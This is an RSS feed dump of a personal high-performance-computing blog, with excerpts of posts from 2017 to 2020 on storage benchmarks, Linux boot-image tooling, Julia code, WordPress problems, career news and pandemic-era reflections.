https://blog.scalability.org/posts/ Recent content in Posts on blog.scalability.org Hugo -- gohugo.io en-us Sun, 08 Nov 2020 02:10:44 +0000 https://blog.scalability.org/2020/11/on-crushing-older-tests/ Sun, 08 Nov 2020 02:10:44 +0000 https://blog.scalability.org/2020/11/on-crushing-older-tests/ About 6 years ago, I wrote this, about a benchmark test that did a 2TB write in 73s or so, on pure spinning disk. That result was just so far out there, compared to pretty much anything else available, in terms of performance density (single rack of storage units). The hardware was Scalable Informatics Unison storage, designed to be an IO monster in all respects. It was. Way ahead of its time. https://blog.scalability.org/2020/11/on-using-legacy-tooling-in-modern-hpc-systems/ Tue, 03 Nov 2020 21:35:15 +0000 https://blog.scalability.org/2020/11/on-using-legacy-tooling-in-modern-hpc-systems/ Or as House MD may have put it So there you are, working on a system with a group, when you realize that something is out of kilter. And you think to yourself … It’s not DNS There is a no way it’s DNS It was DNS So your team works on resolving the issue. And the tooling they use … the tooling. Is from the late 80s/early 90s. There are so many … better … easier to use … tools. https://blog.scalability.org/2020/10/on-risk-and-how-to-mitigate-it/ Wed, 28 Oct 2020 14:50:05 +0000 https://blog.scalability.org/2020/10/on-risk-and-how-to-mitigate-it/ On 1-March-2020, I wrote this article. In it I argued that the risk benefit/reward equations have been thrown out of kilter by the pandemic. Or maybe, rather than thrown out of kilter, maybe they are reverting to a more natural state, where risks that have been previously discounted, are now showing their true (or more nearly true) values. A former SGI colleague, and now HBS professor, Willy Shih, wrote a great article on how management might wish to adapt to this reconfiguration of risk strength/value. https://blog.scalability.org/2020/10/on-zeros/ Fri, 16 Oct 2020 18:53:15 +0000 https://blog.scalability.org/2020/10/on-zeros/ Not a math post, I promise. Really about teams. You have a team of people. You have a mission. You have a (short) timeline. You need them to focus on the problem, and find the minimum temporal path length process to achieve a resolution. You have a process, albeit informal, to address issues, which is in place, functioning well, solving problems. Then someone loops someone else into the effort. Who starts quoting paragraph and verse out of how they would like it to work. https://blog.scalability.org/2020/05/thoughts-on-configuration-management-vs-image-artefact-management/ Sat, 30 May 2020 21:07:18 +0000 https://blog.scalability.org/2020/05/thoughts-on-configuration-management-vs-image-artefact-management/ Years ago … ok … decades ago, when I was building my first large clusters, I worried about configuration and drift. OS installers are notoriously finicky, and one of the hard lessons is that you should spend as absolutely little time inside them as possible. Do the bare minimum work you need to in order to get a functional system, and handle everything else after the first boot. I actually learned this lesson at SGI, while writing Autoinst, a tool to handle large scale OS deployment. https://blog.scalability.org/2020/05/r-i-p-rich/ Mon, 25 May 2020 02:26:41 +0000 https://blog.scalability.org/2020/05/r-i-p-rich/ The link to his obituary. A wonderful person, deeply insightful, excellent communicator. Gone too soon. I will miss him. I think everyone in #HPC will. https://blog.scalability.org/2020/05/on-optimizing-scripting-languages-and-where-they-are-useful-and-where-they-are-not/ Thu, 21 May 2020 14:26:03 +0000 https://blog.scalability.org/2020/05/on-optimizing-scripting-languages-and-where-they-are-useful-and-where-they-are-not/ So yesterday, an article and discussion appeared on Hacker News. In the article, the author asks reasonable questions, of how to optimize a Python code. What happened next, probably wasn’t as they intended. The article was, ostensibly, on optimizing Python code. It, after the 4th attempt at source level optimization, switched languages. It was no longer written in Python, this attempt to optimize … Python code. Ok. So the code they were “optimizing” was trivial, and not really indicative of any particular workload. https://blog.scalability.org/2020/05/updating-compressors-for-nyble/ Mon, 18 May 2020 00:55:56 +0000 https://blog.scalability.org/2020/05/updating-compressors-for-nyble/ Compressing tools like gzip and bzip2 have been around quite a long time. They are, well, mature. Almost boring. You depend upon them for many things. You don’t really pay attention to them until you use them for significant work. Like with NyBLE, compression and decompression are important, and time sensitive steps … well … decompression is anyway … in the boot process. My preference is generally for tools that enable me to use the full processing power of an underlying machine. https://blog.scalability.org/2020/05/my-urgent-hpc-computational-project-covid-19-related/ Tue, 05 May 2020 17:19:23 +0000 https://blog.scalability.org/2020/05/my-urgent-hpc-computational-project-covid-19-related/ This is the project that I alluded to. We tuned the system, the code, the environment. We wrote tooling to massively simplify job creation and submission. Moreover, we worked around numerous issues that arise in each technological layer. Multiple simultaneous tools are being deployed to work on this, and I am hopeful that the net result of this are a few small molecules that will have action against this disease. https://blog.scalability.org/2020/04/time-to-replace-some-hardware/ Wed, 29 Apr 2020 03:45:24 +0000 https://blog.scalability.org/2020/04/time-to-replace-some-hardware/ I built an updated raid pair of drives with a brand new OS for the system that underlies this blog and other services. Basically, the previous system load had been updated from debian 7 through debian 9 and had accumulated lots of cruft. So I rebuilt this using my wonderful nyble system on a lab machine. I moved most of the config over from the live system. Switched over and spent about 2 hours fixing up the missing services (things I forgot to enable, etc. https://blog.scalability.org/2020/04/updated-nyble-to-support-ubuntu-20-04-lts-and-debian-10/ Mon, 27 Apr 2020 20:40:03 +0000 https://blog.scalability.org/2020/04/updated-nyble-to-support-ubuntu-20-04-lts-and-debian-10/ For those who don’t know what nyble is … you can read an old post here. The short version is that it gives you an always reproducible bootable ramdisk (or stateful if you need) image (installation for stateful folk). You avoid worrying about configuration drift, as you roll a new image in ~10-20 minutes, and turn a configuration management problem into a simpler image management problem. Which may be solved with a database backed booting system like, I dunno, tiburon with minio providing the data store. https://blog.scalability.org/2020/04/there-are-no-silver-bullets-2/ Sat, 25 Apr 2020 16:24:09 +0000 https://blog.scalability.org/2020/04/there-are-no-silver-bullets-2/ In the world in which we reside, a pandemic slowly burns. This pandemic has confounded front line medical practitioners, public health organizations. It has exposed a number of troubling relationships amongst governments and organizations. It has resulted in numerous pronoucements of “X may work” from medically and scientifically illiterate political leaders. The problem is, fundamentally, there are no silver bullets. There are no magic cures. There is no replacement for the hard work required to devise safe and effective mitigations, and hopefully preventatives such as vaccines. https://blog.scalability.org/2020/04/performance-of-a-julia-code-riemann-%ce%b6-function-implemented-on-cpu-and-gpu/ Sat, 25 Apr 2020 02:18:17 +0000 https://blog.scalability.org/2020/04/performance-of-a-julia-code-riemann-%ce%b6-function-implemented-on-cpu-and-gpu/ I’ve been playing with Julia for a while now. As the language is evolving quickly, I have to learn and relearn various aspects. Happily, since 1.0 dropped a while ago, its been more consistent, and the rate of change is lower than in the past. The Riemann ζ function is an interesting problem to test a number of mechanisms for parallelism with. The function itself is simple to write $$\zeta(a) = \sum_{i=1}^\infty \frac{1}{i^a}$$ https://blog.scalability.org/2020/04/fun-and-topical-hpc-project-at-the-dayjob/ Sat, 25 Apr 2020 00:58:32 +0000 https://blog.scalability.org/2020/04/fun-and-topical-hpc-project-at-the-dayjob/ (caution: I get personal at the end of this, you can see my motivation for working on this) I can’t talk in depth about it though, yet. I can talk in broad brush strokes for now. Imagine for a moment, that you have a combination of available high performance supercomputers, an urgent problem to be solved, and a collection of people, computing tools, and data. Imagine that you are one of many stages in this process, but you are, for the moment, a bottlenecking process. https://blog.scalability.org/2020/03/in-the-face-of-disruptive-events/ Sun, 01 Mar 2020 16:01:24 +0000 https://blog.scalability.org/2020/03/in-the-face-of-disruptive-events/ As of the day this post is being written, a virus has been spreading globally. Details of the virus (SARS-CoV-2) and it’s spread (nCoV-19) are being discussed across the globe. There is much in the way of fear, and fear-inspired reactions. Visit any airport, and note the number of people wearing what amounts to ineffectual face masks. All the while, doctors are trying to get common sense messages out about prevention and preparation. https://blog.scalability.org/2020/01/whats-coming-in-hpc/ Thu, 02 Jan 2020 17:06:01 +0000 https://blog.scalability.org/2020/01/whats-coming-in-hpc/ I am planning on getting back to a more regular cadence of writing. I enjoy it, and hopefully, I don’t annoy (all) readers. A brief retrospective on what has been over the last decade first. First, having experienced this first hand, its important to talk about the use pattern shifts. In 2010, cloud for HPC workloads wasn’t even an afterthought. Basically the large cloud provider (AWS) and the wannabes were building cheap machines and maximizing tenancy. https://blog.scalability.org/2019/12/updated-io-bm-and-results-from-system-i-was-working-on/ Fri, 20 Dec 2019 18:29:24 +0000 https://blog.scalability.org/2019/12/updated-io-bm-and-results-from-system-i-was-working-on/ For those who aren’t aware, I had written (a long, long time ago) a simple IO benchmark test, when I had been displeased with the (at the time) standard tools. Since then fio has come out and been quite useful, though somewhat orthogonal to what I wanted to use. The new results are at the bottom, I’ll explain later. Let me explain. At a high level, you want your test runs on your IO system to place your system under heavy sustained load, to explore the holistic system behavior. https://blog.scalability.org/2019/12/on-the-importance-of-saying-no/ Fri, 20 Dec 2019 16:40:24 +0000 https://blog.scalability.org/2019/12/on-the-importance-of-saying-no/ Often times, when we are working on a project with a well defined set of milestones, we’ll be asked to add something to the list of tasks. These asks may be simple and quick, or long and time consuming. One thing each ask does, is increase the scoping of the milestone, increase the risk surface, and add additional criterion to the milestone. This means, each ask needs careful thought on the net increase in risk versus the net increase in value, or net loss to opportunity cost by not acting on the ask. https://blog.scalability.org/2019/12/updated-net-tools-with-fixes-and-license-change/ Thu, 05 Dec 2019 00:29:38 +0000 https://blog.scalability.org/2019/12/updated-net-tools-with-fixes-and-license-change/ Its been a while, I know. My apologies. Ok, first off, I’ve been very busy at the $dayjob. More in a later post. But I’ve been doing some code fix up for a number of my tools, specifically the net-tools collection. This one had nagged me a long time. Ok, here it is in a nutshell. The way lsnet worked, it used fixed sized columns for, unfortunately, variable sized fields. https://blog.scalability.org/2019/08/apologies-for-the-long-delay-in-posting/ Thu, 29 Aug 2019 03:16:29 +0000 https://blog.scalability.org/2019/08/apologies-for-the-long-delay-in-posting/ I have to be quite careful to not discuss $dayjob stuff here. Which, as that consumes a large chunk of my daytime (a bit more than 8h/day), leaves me with precious little time for me. But I enjoy this position, and the company. It is nice to be part of an organization that values (deep) experience. https://blog.scalability.org/2019/05/when-you-see-someone-deploying-a-business-model-very-similar-to-one-you-had-developed-on-your-own/ Fri, 24 May 2019 04:12:11 +0000 https://blog.scalability.org/2019/05/when-you-see-someone-deploying-a-business-model-very-similar-to-one-you-had-developed-on-your-own/ I learned today, of the HPE Greenlake flex system. It has a nice infographic which describes it. What struck me, was that this was a model very similar to something I had worked on in 2014-2015, that I had been trying to raise capital to execute against, at Scalable Informatics (RIP). The question the VCs put to us was, will this model work. My model had a number of different elements to this, in the sense that this is a smaller version of what I had envisioned. https://blog.scalability.org/2019/05/length-and-complexity-of-supply-chain-as-a-risk-factor-for-hpc-and-storage/ Thu, 23 May 2019 16:00:11 +0000 https://blog.scalability.org/2019/05/length-and-complexity-of-supply-chain-as-a-risk-factor-for-hpc-and-storage/ We’ve seen issues in the past, with massive flooding in Thailand, wreaking havoc on critical components in supply chains. The subsequent demonstration of the basic economics laws of supply and demand did not make users or vendors very happy. This arose due to a significant over-allocation of one small geographical region to a critical component in offerings. To a degree, this also pushed companies to start looking at how to make this “Somebody Elses Problem” (e. https://blog.scalability.org/2019/05/slightly-more-complexity-than-i-had-thought-or-rtfm/ Thu, 23 May 2019 15:35:17 +0000 https://blog.scalability.org/2019/05/slightly-more-complexity-than-i-had-thought-or-rtfm/ [mathjax] So I’m playing with Julia in my off time to get more proficient with it. Doing some “simple” things in preparation for the work I want to do. One of the things I like to play with are environments linear algebra capabilities. This was one of my favorite areas as an undergraduate (cringe) years ago, and has been an important tool for me throughout my previous pre-professional career, working on a Ph. https://blog.scalability.org/2019/05/nyble-ftw-installing-my-rambooted-environment-on-linux-laptop-for-rescue-with-grub/ Fri, 10 May 2019 16:57:23 +0000 https://blog.scalability.org/2019/05/nyble-ftw-installing-my-rambooted-environment-on-linux-laptop-for-rescue-with-grub/ Ok, this came about from many hours … HOURS … of not being able to get rescue CD images to boot correctly on my laptop, or in VMs. Things were broken on them, that I could not fix. That’s when the thought occurred to me … hey … I’d developed this great project nyble (pronounced nibble), which I build full linux environments from baseline distros (currently debian9, CentOS7, Ubuntu18.04), and can be trivially PXE booted, USB booted, or local install booted. https://blog.scalability.org/2019/05/displayport-kvms-for-sharing-monitors-and-keyboards/ Fri, 10 May 2019 16:16:08 +0000 https://blog.scalability.org/2019/05/displayport-kvms-for-sharing-monitors-and-keyboards/ I’ve got a pair of Samsung 28 inch 4k monitors that I use for my daily environment. I have 3 (actually 4) machines to share them between, 2(3) linux boxen and 1 Mac laptop. In my original design, pre-KVM switch, I had one monitor dedicated to the Mac, and one switched with the annoying little joystick at the back of the monitor, with a little set of 3 USB cords, a powered USB hub, and simple plugging/unplugging. https://blog.scalability.org/2019/04/joining-cray_inc-to-help-drive-hpc-solutions-in-the-cloud/ Sun, 14 Apr 2019 21:49:50 +0000 https://blog.scalability.org/2019/04/joining-cray_inc-to-help-drive-hpc-solutions-in-the-cloud/ Quick post … I’m excited to note that I’ll be joining Cray, the preeminent HPC company, to help develop solutions for HPC customers to consume supercomputing resources in the cloud. I start the week of the 22-April. More soon, but I gotta say, I’m quite excited about this! https://blog.scalability.org/2019/04/paint-splatters-as-perl-programs/ Fri, 05 Apr 2019 02:30:01 +0000 https://blog.scalability.org/2019/04/paint-splatters-as-perl-programs/ So I saw this , and yes, it is quite funny. There’s a discussion of this at HackerNews, which seems to follow a number of conventional pathways. Most of them missing the obvious implied humor. https://blog.scalability.org/2019/04/onward-and-upward-in-hpc/ Thu, 04 Apr 2019 21:23:31 +0000 https://blog.scalability.org/2019/04/onward-and-upward-in-hpc/ A short note - today was my last day with Joyent. They are a wonderful company, building great things. Excellent technology, and technologists. I wish them nothing but success. For the immediate future, I’ll be working on consulting projects, as well as looking for the next great opportunity within high performance computing, storage, cloud. I’m always reachable here or at joe @ nlytiq . com https://blog.scalability.org/2019/03/note-to-self-have-only-one-blog-vm-running/ Tue, 26 Mar 2019 19:42:46 +0000 https://blog.scalability.org/2019/03/note-to-self-have-only-one-blog-vm-running/ Yeah … this was a fun one. Because I only recently started using a holistic VM management/control plane for my home machines, I didn’t notice that I had 2 VMs of the blog running. I was doing some surgery to fix something, then tailed the logs … and didn’t see the traffic. Took me a little sanity checking, like, a quick poweroff and forcefully refreshing the page. Since the DB is on a different machine, the blog frontends were acting independently. https://blog.scalability.org/2019/02/data-loss-thanks-to-buggy-driver-or-hardware/ Wed, 06 Feb 2019 17:41:41 +0000 https://blog.scalability.org/2019/02/data-loss-thanks-to-buggy-driver-or-hardware/ So this happened on the 3rd, on one of my systems Feb 3 03:02:39 calculon kernel: [195271.041118] INFO: task kworker/20:2:757 blocked for more than 120 seconds. Feb 3 03:02:39 calculon kernel: [195271.048116] Not tainted 4.20.6.nlytiq #1 Feb 3 03:02:39 calculon kernel: [195271.052678] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Feb 3 03:02:39 calculon kernel: [195271.060626] kworker/20:2 D 0 757 2 0x80000000 Feb 3 03:02:39 calculon kernel: [195271.066238] Workqueue: md submit_flushes [md_mod] Feb 3 03:02:39 calculon kernel: [195271. https://blog.scalability.org/2019/01/interesting-articles-on-systemd-and-zfs/ Tue, 29 Jan 2019 01:36:48 +0000 https://blog.scalability.org/2019/01/interesting-articles-on-systemd-and-zfs/ The systemd article is on LWN, and discusses the “tragedy” of it. The ZFS post was linked from HackerNews and discusses risk to ZFS’s future from the perspective of FreeBSD leveraging ZFS on Linux as its upstream. Ok, first onto systemd. For those who don’t know systemd, think of it as the borg that ate init. And upstart. And … Basically, it is a replacement infrastructure for running services on Linux. https://blog.scalability.org/2019/01/reflections-on-where-weve-been-in-hpc-and-thoughts-on-where-we-are-going/ Sun, 20 Jan 2019 20:28:17 +0000 https://blog.scalability.org/2019/01/reflections-on-where-weve-been-in-hpc-and-thoughts-on-where-we-are-going/ Looking back on past reviews from 2013 and a few other posts, and what has changed since then up to 2019 (its early, I know), I am struck by a particular thought I’ve expressed for decades now. In 2009 I wrote Down market, in this case, means wider use … explicit or implicit … integrated in more business processes. All the while, becoming orders of magnitude less expensive per computational operation, easier to use and interface with. https://blog.scalability.org/2018/12/systems-that-are-designed-to-fail-often-do/ Tue, 18 Dec 2018 05:32:14 +0000 https://blog.scalability.org/2018/12/systems-that-are-designed-to-fail-often-do/ I’ve been saying this for mumble decades. What I mean by “designed to fail” isn’t specifically that someone wants a system to fail. Rather, by various interactions, wishful thinking, drinking of one’s own kool-aid, a system is placed on an inexorable path to failure. Without something to divert it in time, failure is the most probable outcome. Watching these failures unfold can strike terror in one’s heart. Especially when you realize that you yourself have not been able to nudge the system onto a sane path. https://blog.scalability.org/2018/12/with-every-update-macosx-becomes-harder-to-build-for/ Sun, 02 Dec 2018 20:25:41 +0000 https://blog.scalability.org/2018/12/with-every-update-macosx-becomes-harder-to-build-for/ Way back in the good old 90s, we had very different versions of various unix systems. SunOS/Solaris, Irix, AIX, HP/UX, this upstart Linux, and some BSD things floating about. Of course, windows NT and others were starting to peek out then, and they had a “POSIX subsystem”. Cross platform builds were generally speaking, a nightmare. While POSIX is a spec, writing to it didn’t guarantee that your application would work on a range of machines and OSes. https://blog.scalability.org/2018/11/opening-keynote-supercomputing-sc18-hpc-is-an-enabling-technology/ Tue, 13 Nov 2018 16:24:43 +0000 https://blog.scalability.org/2018/11/opening-keynote-supercomputing-sc18-hpc-is-an-enabling-technology/ … Ok, the speaker said far more than that. But one of his central theses is that in this “second” machine revolution, we are enabling data driven decision making, distributed decision and consensus, as well as expanding beyond the confines of specific expertise in a field. The latter I’ve heard described as cross fertilization … gather a bunch of smart people “together” and give them a problem spec. Let them run with it. https://blog.scalability.org/2018/11/hpc-in-all-the-things/ Fri, 09 Nov 2018 16:59:25 +0000 https://blog.scalability.org/2018/11/hpc-in-all-the-things/ I read this announcement this morning. Our friends at Facebook releasing their reduced precision server side convolution and GEMM operations. Many years ago, I tried to convince people that HPC moves both down market, into lower cost hardware, as well as more widely into more software toolchains. Basically, the decades of experience building very high performance applications and systems will have value downstream for many users over time. GEMM is a generalized approach to a matrix multiply, which has been well optimized for HPC applications in various scientific libraries over time. https://blog.scalability.org/2018/11/looking-forward-to-sc18-next-week-and-a-discussion-of-all-things-hpc/ Tue, 06 Nov 2018 16:19:42 +0000 https://blog.scalability.org/2018/11/looking-forward-to-sc18-next-week-and-a-discussion-of-all-things-hpc/ I’m attending SC18 next week. It’s been 3 years since I last attended (2015). Then we (@scalableinfo) had a large booth, lots of traffic, and showed off some of the first commercial NVMe high performance storage systems running BeeGFS over 100GbE. I am looking forward to talking with as many people as I can, to get their perspectives on things. To see what they are thinking, hear what they are doing, and in which direction they are going. https://blog.scalability.org/2018/09/a-bug-in-s3-buckets-with-no-apparent-way-to-request-support-to-deal-with-it/ Tue, 25 Sep 2018 16:39:29 +0000 https://blog.scalability.org/2018/09/a-bug-in-s3-buckets-with-no-apparent-way-to-request-support-to-deal-with-it/ This is a fun one, I’ve been playing with for the last 5 days or so. I’m helping someone out with backups, and they changed their mind on what they wanted backed up. So I started deleting the backups they didn’t want. One of the machines contained a set of directories for hashdeep which includes a number of test cases. One set of test cases are deeply linked directories. So, the aws s3 cp /localpath s3://yadda/yadda --recursive copied this and many other files up to the bucket. https://blog.scalability.org/2018/08/finally-posted-tiburon-on-github/ Tue, 21 Aug 2018 14:53:02 +0000 https://blog.scalability.org/2018/08/finally-posted-tiburon-on-github/ Tiburon specifically solves the problem of stateful vs stateless boots, roll forward/backwards in images, consistent booting with immutable images. Coupled with an image generator and a programmatic config environment (as in Nyble and other tools), you have the workings of the non storage/networking parts of a cloud or cluster manager. The philosophy behind this has to do with the pain associated with config/OS drift, failed upgrades/roll backs, failed boot drives, etc. https://blog.scalability.org/2018/08/well-that-was-fun-2/ Thu, 02 Aug 2018 06:00:13 +0000 https://blog.scalability.org/2018/08/well-that-was-fun-2/ So … I’ve had this blog since 2005. I installed it from original sources. And WP made upgrades in the 2.x time frame, quite painless. Or so it seemed. Slowly, over time, some configuration/settings/whatever got out of whack. And with the last update, from a system originally installed in final form in 2013 or so, something broke. I am not sure what. But the symptoms were simple … new posts would replace the most recent posts. https://blog.scalability.org/2018/08/qweqwe/ Wed, 01 Aug 2018 15:15:55 +0000 https://blog.scalability.org/2018/08/qweqwe/ Please note: Wordpress appears to be failing badly at this stage. I’ll be working on a fix this week, and likely will create a new site out of different, less buggy code. I’ve checked the DB, moved it to a different machine, restored from a known working backup. It appears a recent update of WP managed to completely screw up post handling. I disabled all plugins, ran health checks, etc. I’ve cleaned cookies, browsing history, used different browsers on different machines, with exactly the same outcome. https://blog.scalability.org/2018/07/so-ive-got-ideas-for-two-businesses/ Wed, 25 Jul 2018 03:13:21 +0000 https://blog.scalability.org/2018/07/so-ive-got-ideas-for-two-businesses/ Neither one is a computer related. Both are based upon what I see as unmet needs for various groups. One is a definitely “gotta have” for one group. The other group, there is one “solution” on the market that I looked at, and it’s pretty pathetic. The other uses technology where it should be using chemistry, as the tech is simply way too expensive for mass use, and quite inflexible. Both are B2C. https://blog.scalability.org/2018/07/typecasting-and-the-trust-us-factor/ Wed, 18 Jul 2018 23:24:26 +0000 https://blog.scalability.org/2018/07/typecasting-and-the-trust-us-factor/ Finding myself on the other side of the table in the consumer-vendor relationship has resulted in some eye opening experiences. These are things I look back on, and realize that I strenuously avoided doing during my Scalable days. But I see everyone doing it now, as they try to sell me stuff, or convince me to use things. One of the eye opening things is a bit of typecasting of sorts. https://blog.scalability.org/2018/06/how-to-handle-curious-conversations-part-1-of-a-few-billion/ Tue, 05 Jun 2018 17:22:08 +0000 https://blog.scalability.org/2018/06/how-to-handle-curious-conversations-part-1-of-a-few-billion/ So … Suppose someone comes up to you and makes a claim. This claim isn’t backed by facts, merely by unicorns, rainbows, and their own biases. Yeah, this kind of relates to the previous post. They argue based upon the claim. Stake out their ground. Insist that “none shall pass” in a black knight, Monty Python esq manner. But they are wrong. Simply, factually wrong. Regardless of their biases, you and many others have been demonstrating the very thing that is claimed to be impossible, to customers for years. https://blog.scalability.org/2018/05/on-technology-zealotry/ Tue, 29 May 2018 15:38:31 +0000 https://blog.scalability.org/2018/05/on-technology-zealotry/ I’ve encountered this in my career, at many places. Sadly, early in my career, I participated in some of this. You are a zealot for a particular form of tech if you can see it do no wrong, and decry reports of issues or problems as “attacks”. You are a zealot against a particular form of tech if you cannot see it as a potentially useful and valuable portion of a solution stack, and (often gleefully) amplify reports of issues or problems. https://blog.scalability.org/2018/05/interesting-post-on-mixed-integer-programming-for-diets-that-has-some-hilarious-output/ Mon, 28 May 2018 20:28:52 +0000 https://blog.scalability.org/2018/05/interesting-post-on-mixed-integer-programming-for-diets-that-has-some-hilarious-output/ I am a fan of the Julia language. Tremendously powerful analytical environment, compiled, high performance, easy to understand and use, strongly typed, … there’s a long list of reasons why I like it. If you are doing analytics, modeling, computation in other languages, it is definitely worth a look. Think of it as python, compiled, with multiple dispatch and strong typing … and no indent-as-structure problem. My Julia fanboi-ism aside, there was an interesting blog post about using JuMP, a linear programming environment for Julia. https://blog.scalability.org/2018/04/distribution-package-dependency-radii-or-why-distros-may-be-doomed/ Tue, 24 Apr 2018 16:10:27 +0000 https://blog.scalability.org/2018/04/distribution-package-dependency-radii-or-why-distros-may-be-doomed/ I am a sucker for a good editor. I like atom. Don’t yell at me. Its pretty good for my use cases. It has lots of nice extensions I can and have used. Atom is not without its dependencies though. Installing it, which should be relatively simple, turns out to be … well … interesting. [root@centos7build nyble]# rpm -ivh ~/atom.x86_64.rpm error: Failed dependencies: libXss.so.1()(64bit) is needed by atom-1.26.0-0.1.x86_64 In searching the interwebs for what Xss is, I happened across this little tidbit https://blog.scalability.org/2018/04/nyble/ Sun, 22 Apr 2018 20:54:09 +0000 https://blog.scalability.org/2018/04/nyble/ So there I am updating my new repository to enable using zfs in the ramboot images. This is a simplification and continuation of the previous work I did a few years ago, with some massive code cleanups. And sadly, no documentation yet. Will fix soon, but for now, I am trying to hit the major functionality points. NyBLE is a linux environment for hypervisor hosts. It builds on the old open source SIOS work, and extends it in significant ways. https://blog.scalability.org/2018/04/dealing-with-disappointment/ Thu, 19 Apr 2018 19:13:24 +0000 https://blog.scalability.org/2018/04/dealing-with-disappointment/ In the last few years, I’ve had major disappointments professionally. The collapse of Scalable, some of the positively ridiculous things associated with the aftermath of that, none of which I’ve written about until they are over. Almost over, but not quite. Waiting for confirmation. My job search last year, and some of the disappointment associated with that. Recently I’ve had different type of disappointments, without getting into details. The way I’ve dealt with these things in the past has been to try to understand if there was a conflict, what could I have done better. https://blog.scalability.org/2018/02/late-feb-2018-update/ Thu, 22 Feb 2018 19:03:58 +0000 https://blog.scalability.org/2018/02/late-feb-2018-update/ Again, many apologies over the low posting frequency. Several things that are nearing completion (hopefully soon) that I want finalized first. That said, the major news is that this site is now on a much improved server and network. I’ve switched from Comcast Business to WOW business. So far, much better speed, more consistent performance, far lower cost per bandwidth. I do have lots to write about, and have been saving things up until after this particular objective is met, so I can work/write distraction free. https://blog.scalability.org/2017/12/apologies-on-the-slow-posting-rate/ Wed, 13 Dec 2017 14:18:16 +0000 https://blog.scalability.org/2017/12/apologies-on-the-slow-posting-rate/ Many things are going on simultaneously right now, and I have little time to compose thoughts for the blog. I anticipate a bit of a letup in the next week or two as the year comes to a close. https://blog.scalability.org/2017/11/cool-bug-on-upgrade-not/ Tue, 21 Nov 2017 05:22:01 +0000 https://blog.scalability.org/2017/11/cool-bug-on-upgrade-not/ Wordpress is an interesting beast. Spent hours working through issues that I shouldn’t have needed to on an upgrade, as some functions were deprecated. In an interesting way. By removing them, and throwing an error. Which I found only through looking at a specific log. So out goes that plugin. And the site is back. https://blog.scalability.org/2017/11/put-my-riemann-zeta-function-sum-reduction-code-on-github/ Sat, 11 Nov 2017 17:44:59 +0000 https://blog.scalability.org/2017/11/put-my-riemann-zeta-function-sum-reduction-code-on-github/ Repo is here: https://github.com/joelandman/rzf. There’s a lightning talk to go along with it, and I’ll make sure I can get it together for this as well. https://blog.scalability.org/2017/11/sc17/ Thu, 09 Nov 2017 13:16:07 +0000 https://blog.scalability.org/2017/11/sc17/ I’ve had numerous requests from friends and colleagues about whether I will be attending #SC17 this year. Sadly, this is not to be the case. $dayjob has me attending an onsite meeting that week in San Francisco, and the schedule was such that I could not attend the talks I was interested in. I’d love for there to be a way to listen to the talks remotely. Maybe I’ll simply buy the DVD/USB stick of the talks if there is an online store for them. https://blog.scalability.org/2017/09/disk-ssd-nvme-preparation-tools-cleaned-up-and-on-github/ Thu, 14 Sep 2017 13:26:31 +0000 https://blog.scalability.org/2017/09/disk-ssd-nvme-preparation-tools-cleaned-up-and-on-github/ These are a collection of (MIT licensed) tools I’ve been working on for years to automate some of the major functionality one needs when setting up/using new machines with lots of disks/SSD/NVMe. The repo is here: https://github.com/joelandman/disk_test_setup . I will be adding some sas secure erase and formatting tools into this. These tools wrap other lower level tools, and handle the process of automating common tasks you worry about when you are setting up and testing a machine with many drives. https://blog.scalability.org/2017/09/aria2c-for-the-win/ Wed, 06 Sep 2017 02:46:56 +0000 https://blog.scalability.org/2017/09/aria2c-for-the-win/ I’ve not heard of aria2c before today. Sort of a super wget as far as I could tell. Does parallel transfers to reduce data motion time, if possible. So I pulled it down, built it. I have some large data sets to move. And a nice storage area for them. Ok. Fire it up to pull down a 2GB file. Much faster than wget on the same system over the same network. https://blog.scalability.org/2017/09/working-on-benchmarking-ml-frameworks/ Tue, 05 Sep 2017 20:06:52 +0000 https://blog.scalability.org/2017/09/working-on-benchmarking-ml-frameworks/ Nice machine we have here … root@hermes:/data/tests# lspci | egrep -i '(AMD|NVidia)' | grep VGA 3b:00.0 VGA compatible controller: <a href="http://www.pny.com/nvidia-quadro-gp100">NVIDIA Corporation GP100GL</a> (rev a1) 88:00.0 VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] <a href="http://www.tomshardware.com/reviews/amd-radeon-vega-frontier-edition-16gb,5128.html">Vega 10 XTX</a> [Radeon Vega Frontier Edition] I want to see how tensorflow and many others run on each of the cards. The processor is no slouch either: root@hermes:/data/tests# lscpu | grep "Model name" Model name: Intel(R) Xeon(R) Gold 6134 CPU @ 3. https://blog.scalability.org/2017/09/oracle-finally-kills-off-solaris-and-sparc/ Mon, 04 Sep 2017 17:24:31 +0000 https://blog.scalability.org/2017/09/oracle-finally-kills-off-solaris-and-sparc/ This was making the rounds last week. Oracle seems to have a leak in its process, creating labels that trigger event notifications for people, for their packages. Solaris was decimated. More details at the links and at The Layoff. Honestly I had expected them to reach this point. I am guessing that they were contractually obligated for at least 7 years to provide Solaris/SPARC support to US government purchasers. SGI went through a similar thing with IRIX. https://blog.scalability.org/2017/09/ma-and-business-things/ Mon, 04 Sep 2017 16:45:59 +0000 https://blog.scalability.org/2017/09/ma-and-business-things/ First up, Tegile was acquired by Western Digital (WDC). This is in part due to WDC’s desire to be a one stop shop vertically integrated supplier for storage parts, systems, etc. This is how all of the storage parts OEMs needed to move, though Seagate failed to execute this correctly, selling off their array business in part to Cray. Toshiba … well … they have some existential challenges right now, and are about to sell off their profitable flash and memory systems business, if they can just get everyone to agree … This comes from the fact that spinning disk, while a venerable technology, has been effectively completely commoditized. https://blog.scalability.org/2017/08/a-completed-project-mysqldump-file-to-csv-converter/ Thu, 31 Aug 2017 02:23:20 +0000 https://blog.scalability.org/2017/08/a-completed-project-mysqldump-file-to-csv-converter/ This was part of something else I’d worked on, but it never saw the light of day for a number of (rather silly) reasons. So rather than let these bits go to waste, I created a github repo for posterity. Someone might be able to make effective use of them somewhere. Repo is located here: https://github.com/joelandman/msd2csv Pretty simple code, does most of the work in-memory, and multiple regex passes to transform and clean up the CSV. https://blog.scalability.org/2017/08/finally-got-to-use-mce-in-a-project/ Thu, 17 Aug 2017 13:45:40 +0000 https://blog.scalability.org/2017/08/finally-got-to-use-mce-in-a-project/ There are a set of modules in the Perl universe that I’ve been looking for an excuse to use for a while. They are the MCE set of modules, which purportedly enable easy concurrency and parallelism, exploiting many core CPUs, and a number of techniques. Sure enough, I had a task to handle recently that required this. I looked at many alternatives, and played with a few, including Parallel::Queue. I thought of writing my own with IPC::Run as I was already using it in the project, but I didn’t want to lose focus on the mission, and re-invent a wheel that already existed elsewhere. 